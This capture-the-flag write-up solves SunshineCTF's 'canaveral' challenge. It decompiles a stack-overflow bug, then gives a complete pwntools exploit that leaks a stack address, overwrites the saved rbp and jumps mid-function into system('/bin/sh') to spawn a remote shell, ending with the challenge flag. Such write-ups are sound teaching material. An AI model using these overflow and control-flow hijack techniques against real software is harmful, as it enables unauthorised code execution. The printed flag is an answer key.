NASA Mission Control needs your help... only YOU can enter the proper launch sequence!!
canaveral
nc chal.sunshinectf.games 25603
Decompile in IDA:
int vuln()
{
_QWORD buf[5]; // [rsp+0h] [rbp-40h] BYREF
_QWORD v2[3]; // [rsp+28h] [rbp-18h]
memset(buf, 0, sizeof(buf));
v2[0] = 0;
*(_QWORD *)((char *)v2 + 6) = 0;
printf("Enter the launch sequence: ");
read(0, buf, 0x64u);
return printf("Successful launch! Here's your prize: %p\n", buf);
}
void __fastcall win(int a1, const char *a2)
{
if ( a1 == 201527 && a2 && !memcmp(a2, "/bin/sh", 7u) )
system(a2);
}
There is a stack overflow in read(0, buf, 0x64u). We can override return address to win. However, it validates the arguments. Let’s see if we can bypass the check by jumping to the body of win instead of its entrypoint:
.text:00000000004011FD mov edx, 7 ; n
.text:0000000000401202 lea rcx, aBinSh ; "/bin/sh"
.text:0000000000401209 mov rsi, rcx ; s2
.text:000000000040120C mov rdi, rax ; s1
.text:000000000040120F call _memcmp
.text:0000000000401214 test eax, eax
.text:0000000000401216 jnz short loc_40122E
.text:0000000000401218 mov rax, [rbp+s1]
.text:000000000040121C mov rdi, rax ; command
.text:000000000040121F mov eax, 0
.text:0000000000401224 call _system
If we jump to 0x401218, then the effective instructions are:
.text:0000000000401218 mov rax, [rbp+s1]
.text:000000000040121C mov rdi, rax ; command
.text:000000000040121F mov eax, 0
.text:0000000000401224 call _system
Then, we only need to put the address of /bin/sh (it is 0x402008 in binary) to rbp+s1 (rbp-0x10 in fact), then it will call system("/bin/sh") for us.
How do we put the address of /bin/sh to rbp-0x10? The code leaks the stack for us, but it returns immediately:
int vuln()
{
// ..., leak stack
return printf("Successful launch! Here's your prize: %p\n", buf);
}
So we can leak stack address for the first round while overwriting the return address to vuln, which gives us another round to attack. In the second round, we put the address of /bin/sh on the stack, overrides the saved rbp so that the new rbp minus 0x10 stores the address of /bin/sh, then we jump to 0x401218 to get shell:
from pwn import *
elf = ELF("./canaveral")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")
p = remote("chal.sunshinectf.games", 25603)
# p = process(["./canaveral"])
# gdb.attach(p)
# pause()
# two rounds
# first round jump back to vuln leak stack address
vuln_addr = elf.symbols["vuln"]
p.sendline(b"A" * 0x40 + p64(0) + p64(vuln_addr))
buf_addr = int(p.recvline().split()[-1], 16)
# second round, set rbp & save &"/bin/sh" to rbp+0x10
ret_addr = 0x40101A # ret gadget to balance stack
system_mid_addr = 0x401218
bin_sh_addr = next(elf.search(b"/bin/sh"))
# the address of bin_sh_addr is new_buf+0x40+0x8*3 = new_buf+0x58
# set rbp to buf+0x70, new_buf=buf-0x8 due to first round, then rbp-0x10 = buf+0x60 == new_buf+0x58
p.sendline(
b"A" * 0x40 + p64(buf_addr + 0x70) + p64(ret_addr) + p64(system_mid_addr) + p64(bin_sh_addr)
)
p.interactive()
Flag: sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}.